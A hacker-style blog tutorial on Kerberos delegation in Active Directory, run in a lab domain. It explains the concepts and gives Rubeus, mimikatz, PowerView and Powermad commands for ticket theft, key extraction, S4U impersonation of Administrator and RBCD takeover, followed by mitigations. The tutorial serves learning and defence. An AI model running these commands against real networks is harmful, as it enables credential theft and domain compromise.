S4fuckMe2selfAndUAndU2proxy - A low dive into Kerberos delegations
Hello fellow h4x0rs, this time we are going to have a closer look at the different types of delegations inside an Active Directory.
We’ll try to figure out what this magic is all about and of course how we can abuse it for fun and profit.
Prepare yourself for some absolute brainfuck and some bonus info if you make it through to the end.
Introduction
It’s been some time since I last had the power and will to learn and write about something new, but over the past few weeks the cyber g0ds took control over me again. For whatever reason I decided to dive into delegation attacks, because it is once again a topic I am not capable of to fully understand (which is even the case after writing this blog post). And as mostly all the posts I am writing, this is again to help me understand this topic a little more in detail in the first place.
So without further ado let’s getz happy.
Kerberos Delegation
Just by looking at the word itself, it becomes clear to the reader what it’s all about. Someone or something gets something from someone else and does something with it on behalf. In Germany we say: “Klingt komisch, ist aber so”.
In an Active Directory, delegation enables an account (user, system or service) to act on behalf of another account and do something “as him” - so this account is able to impersonate others, to access additional resources.
To give you an example:
A user visits a website hosted on an IIS to which he authenticates to. The website uses a SQL database in the backend, to which data has to be read from as that user. So the webserver gets the ability granted to impersonate that user, and authenticate as him - via Kerberos - to the SQL database and e.g. fetch data from a table only accessible by that user, which is called delegation.
Microsoft has a good workflow in the official documents - in this case it is the one for Constrained Delegation, but you hopefully get the idea:
There are three main types of delegation that you might stumple upon in an AD:
- Unconstrained Delegation
- Constrained Delegation
- Resource Based Constrained Delegation
In the upcoming sections I will use terms like:
TGT
- Ticket Granting Ticket
ST
- Service Ticket
KDC
- Key Distribution Center
and alike - stuff that goes in the same direction - technology wise
If you are not familiar with this terminology, I highly recommend you to read my previous blog post about Kerberoasting, where all of this stuff is explained. But you can of course just do a lame ass google search :)
So let’s dive a little deeper, without getting to technical.
Unconstrained Delegation
Unconstrained Delegation means, that an account is allowed to impersonate ANY user to ANY service. So from an attackers perspective this seems like a really valuable target to to get control over, as it most likely means game over.
When a user requests a ST
for the webservice from the example above, the KDC will include the user’s TGT
inside the ST
for the webservice. The service account is then able to extract and cache the TGT
from the ST
and with that ticket request another ST
as that user for the SQL service, ultimately authentication to that service as the user and not as himself.
The config of an AD object looks like this (all objects that have an SPN
can be configured for delegation):
When a user (lowpriv
in this case) accesses the system epo
configured with Unconstrained Delegation enabled:
The TGT
of that user automagically gets cached. We can use Rubeus with the triage
or monitor
function to play along and watch them tickets flying in:
Rubeus.exe monitor /interval:10 /targetuser:lowpriv
Rubeus.exe triage
Constrained Delegation
In the case of Constrained Delegation we are facing a more restricted variant, which was invented as an answer to face the security issues that arose from the unconstrained version. This time the account can impersonate ANY account but only to specific services on specific hosts.
What also is different here is, that the server doesn’t cache the users TGT
s (well the KDC doesn’t even include them anymore inside the ST
s) but instead is allowed to request a ST
for the destination service for another user, but with his own TGT
.
So it goes like:
“Hey KDC, it’s me the IIS-service account, please give me a ST for SQL/SQL-Server, not for me but for my buddy user1. K. thanks.”
The config inside AD looks like this:
The system epo
is allowed to delegate to the cifs
service at dc2016
and the ldap
service at dc2016-2
.
To achieve this, Microsoft extended the Kerberos protocol by two extensions, namingly S4U2self and S4U2proxy.
To quote Redmond at this stage:
“The S4U2self extension allows a service to obtain a service ticket to itself on behalf of a user.”
“The Service for User to Proxy (S4U2proxy) extension provides a service that obtains a service ticket to another service on behalf of a user.”
S4U2self
’s purpose for an account is to be able to get a ST
to itself when the user that needs to be impersonated did NOT authenticate via Kerberos - e.g. we used NTLM to authenticate to a webserver.
This is called:
The ticket generated with this extension has the forwardable
flag set, which is a prerequisit for the whole stuff to work.
S4U2proxy
’s purpose is to take that forwardable ticket and use it to request a ST
to any SPN specified in the msds-allowedtodelegateto
options for the user specified in the S4U2self part. The verification of if the requesting account is allowed to impersonate users to the service provided is done by the KDC
, which looks up the accounts msds-allowedtodelegateto
field and only issues the ST
if there is a match.
In this case epo
is allowed to delegate to cifs
, netman
and remoteaccess
to win10x64
only.
Resource Based Constrained Delegation
This type of delegation is very often described as just being the same as Constrained Delegation, just that the party granting permissions is the other way around. I personally had so much difficulties in understanding what is meant by that, until I stumbled across Charlie Bromberg’s awesome talk at Insomni’Hack (please watch it to try to understand this whole topic), where he had this picture on his slide deck:
What is meant by the other way around is, that rather then granting an account the permission to request ST
s as another user, you configure an account in a way that it allows other accounts to impersonate him for certain services on certain devices. You can also add user accounts to the msDS-AllowedToActOnBehalfOfOtherIdentity
attribute. However, the user account must have an SPN set (see also here).
Let’s do it together. We want the system WIN10X64
to be able to delegate to the system epo
. Instead of editing settings on WIN10X64
like we would have done with Constrained Delegation, we in this case edit the msDS-AllowedToActOnBehalfOfOtherIdentity
attribute of epo
, to which we want to delegate to.
Before RBCD set:
After RBCD set:
You can set RBCD with the help of the PowerShell AD cmdlets like so (take care of the trailing $
if you want to use computer accounts, as the SAMAccountName
is needed here):
Set-ADComputer <account you want to delegate to> -PrincipalsAllowedToDelegateToAccount <account we want to delegate from>
To query an account and see who can delegate via RBCD, we can also user PowerShell again:
$x = Get-ADComputer epo -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
$x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access
Finally to unset RBCD we can set the attribute back to $null
:
Set-ADComputer epo -PrincipalsAllowedToDelegateToAccount $null
Finding affected accounts and abusing the shit out of them
Let’s get dirty and start with the fun part.
There are tons of abuse cases and a shitload of delegation attacks described in the Interwebz. Often times relaying attacks and tools are relying on RBCD to fully extend their potential. In this section we’re going to see how to discover potential accounts and how to attack them.
Unconstrained Delegation - recon and abuse
Recon
If an account is set up for Unconstrained Delegation, it’s userAccountControl
attribute contains TRUSTED_FOR_DELEGATION
:
We can issue PowerView to get the job done for us:
Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol
or my beloved BloodHound:
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
or even the native PowerShell AD cmdlets:
Get-ADComputer -LDAPFilter "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -Properties DNSHostName,userAccountControl
Abuse
The first step is to always compromise an account that is configured for Unconstrained Delegation. This can be a user or a system. For this demo we assume that we compromised the system epo
which is allowed for UD, and that we have control over the user service
which is local admin on this system.
We now either already have a Kerberos ticket, or we coerce authentication to get one (SpoolSample, PetitPotam, ShadowCoerce and alike) or we just wait until an account we want to impersonate accesses our system. In this case the user Administrator
accessed the system via SMB:
.\Rubeus.exe monitor /targetuser:Administrator /interval:5
As you can see, our current user is not able to access the DC.
In the next step we pass the TGT
to our current session and are so able to impersonate the admin user and gain acccess to the DC:
.\Rubeus.exe ptt /ticket:doIFczCCBW+g...
or to other systems or services:
Constrained Delegation - recon and abuse
Recon
in this example we have the system WIN10X64
configured with Constrained Delegation allowing it to delegate to cifs\epo.mcafeelab.local
:
We can use ADExplorer and filter the results on the msDS-AllowedToDelegateTo
value:
or BloodHound:
MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p
or PowerView:
Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft
Be aware that Constrained Delegation can be set on users as well, so make sure to also search for them in your queries!!!
Abuse
We somewhat need to get hold on a TGT
from the account that holds the Constrained Delegation rights. We can achieve that if we have the cleartext password or NT hash of the affected account, or directly dump the TGT
with Rubeus if we have according privileges.
Rubeus way
First we look for the krbtgt
ticket for the user win10x64$
Rubeus.exe triage
Then we dump the ticket from the luid:
Rubeus.exe dump /luid:0x12d1f7
And finally use that ticket to do the S4U magic:
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/epo.mcafeelab.local /ticket:doIFRjCCBUKgAwIBB...BTA== /ptt
We can see with klist
that we successfully obtained a forwardable ticket for cifs/epo.mcafeelab.local for the user Administrator
, with which we can access epo
now via cifs
but not e.g. wsman
:
Mimikatzi way
This time we are going to obtain the aes256 key of the machine account:
privilege::debug
token::elevate
sekurlsa::ekeys
For whatever reason the output of mimikatz would not show me the correct descriptions. There were people in the past with the same problem. However the first entry under the Key List
section is in fact the aes256 key.
Then it’s nearly the same with Rubeus as before, but this time with the system account as user and aes256 key as the “password”:
Rubeus.exe s4u /impersonateuser:god /msdsspn:cifs/epo.mcafeelab.local /user:win10x64$ /aes256:4b55f...fd82 /ptt
What is really cool about this type of attacks is, that we don`t need any info about the passwords of the users we want to impersonate. We can just say: “KDC, I want a ticket for user X - gimme that!”.
Resource Based Constrained Delegation - recon and abuse
Recon
We can again issue ADExplorer, the AD PowerShell cmdlets, BloodHound or PowerView to search for affected accounts like described in the Constrained Delegation part.
Get-ADComputer epo -Properties PrincipalsAllowedToDelegateToAccount
Abuse
The idea is that as soon as you have control over an account’s msDS-AllowedToActOnBehalfOfOtherIdentity
property, you can place an SPN there and are ready to go to pwn this account. The scenario fits to computer objects as well as users, with the difference that by default a user can’t alter it’s own settings but a computer can.
So this is leading us to either have the luck to have compromised an account with the according rights over our target or we are in MitM position and can relay to AD accordingly. If you want to know how this fancy shit is working -> Relaying 101.
For the course of this writeup, let’s assume that our user lowpriv
happens to have these rights over the system epo
:
In an on-prem AD the default settings allow the group Authenticated Users
(which includes all computers and users) to add up to 10 computer objects to the AD. To check if this is possible, let’s use PowerView’s Get-DomainObject
cmdlet:
Get-DomainObject -Identity "dc=mcafeelab,dc=local" -domain mcafeelab.local -Properties distinguishedname,ms-ds-machineaccountquota
Besides the quota, our pwnd user must be allowed to actually add computer objects, and this is controlled by the Default Domain Controllers Policy
with the Add workstations to domain
security setting, which by default contains (who would have thought) the Authenticated Users
group:
If you know of a cool way to fetch this info the hacker-way, please let me know.
Okay, so the prerequisites are in place. So let’s add a new computer object to the domain with the help of Powermad:
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'Pillemann123' -AsPlainText -Force) -Verbose
Now it’s time to set our FAKE01
account to the msDS-AllowedToActOnBehalfOfOtherIdentity
option of epo
with the PowerShell AD cmdlets:
Add-WindowsCapability –online –Name “Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0”
Set-ADComputer epo -PrincipalsAllowedToDelegateToAccount FAKE01$
or
Set-ADComputer epo -PrincipalsAllowedToDelegateToAccount pwnduser_with_SPN
Lastly some
Rubeus.exe hash /password:Pillemann123
Rubeus.exe s4u /impersonateuser:administrator /msdsspn:cifs/epo.mcafeelab.local /domain:mcafeelab.local /user:FAKE01$ /rc4:0CF95DC54D380336A0A671B758A35834 /ptt
BOOM - we made it.
Bonus material
If you made it till here you are awesome.
I want to shortly scratch the top of two more topics.
Protocol transition
Remember the part where I introduced you to Constrained Delegation? I only focused on the scenario where it was configured to Use any authentication protocol
. But what about the other option Use Kerberos only
?
In these cases the S4U2self
request will give you a nonforwardable ticket if the user didn’t authenticate via Kerberos, which ultimately makes S4U2proxy
fail. So everything that is no Kerberos authentication to that account is not abuseable.
You can take a closer look at The Hacker Recipes.
Alternate Service Name
If we happen to land in a situation where we can abuse Constrained Delegation, but the service we can delegate to is of no use like e.g. wsman
because the service is not running on the target, we can add any other service to our ticket, as they are not validated at all.
If we do our S4U magic, we get a valid ST but can’t access epo
:
Rubeus.exe s4u /impersonateuser:god /msdsspn:wsman/epo.mcafeelab.local /user:win10x64$ /aes256:4b55fdf5d7d3ca7c537ca7de3bf212b515759fcfe406a0df87a04d4158b4fd82 /ptt
But if we specify the /altservice
flag with e.g. cifs
:
Rubeus.exe s4u /impersonateuser:god /msdsspn:wsman/epo.mcafeelab.local /user:win10x64$ /aes256:4b55fdf5d7d3ca7c537ca7de3bf212b515759fcfe406a0df87a04d4158b4fd82 /ptt /altservice:cifs
Mitigations
In general you should use the safest options available if you need to use delegations. This is -> don’t use Unconstrained Delegation at all - no really don’t.
All your sensitive accounts should either be members of the Protected Users
group or have the flag Account is sensitive and cannot be delegated
set:
For the RBCD stuff make sure that the Account quota is set to 0 and that your default DC policy only allows privileged accounts to add workstations to your domain. And no, the quota setting is NOT affecting your Domain Admins:
https://twitter.com/theluemmel/status/1473315566945460230
Conclusion
Wow, this blog post got a little out of hand. I still don’t understand half the shit I would like to, but man, writing this down and testing things out really gave me a good first glance into this very specific and complex topic.
Just be aware of the consequences a (mis)configuration of delegations might have.
So I once again hope you enjoyed the read.
Stay safe and happy hacking.
If you happen to have any technical questions, please directly contact the people from the “Thank you” section :)
Luemmel
Thanks to
all the great people that I learnt from by reading their stuff or doing trainings they provide
Daniel Duggan
Charlie Bromberg
Will Schroeder
Elad Shamir
Sean Metcalf
an0n
spotheplanet
Kevin Robertson
Benjamin Delpy
Sources
https://courses.zeropointsecurity.co.uk/courses/red-team-ops
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://harmj0y.medium.com/s4u2pwnage-36efe1a2777c
https://www.thehacker.recipes/ad/movement/kerberos/delegations/
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/(resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution
https://stealthbits.com/blog/what-is-the-kerberos-pac/
https://blog.harmj0y.net/redteaming/another-word-on-delegation/
https://adsecurity.org/?p=1667
https://github.com/tothi/rbcd-attack
https://orangecyberdefense.com/global/blog/sensepost/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd/
https://docs.microsoft.com/en-us/defender-for-identity/cas-isp-unconstrained-kerberos
https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/ps-remoting-second-hop?view=powershell-7.2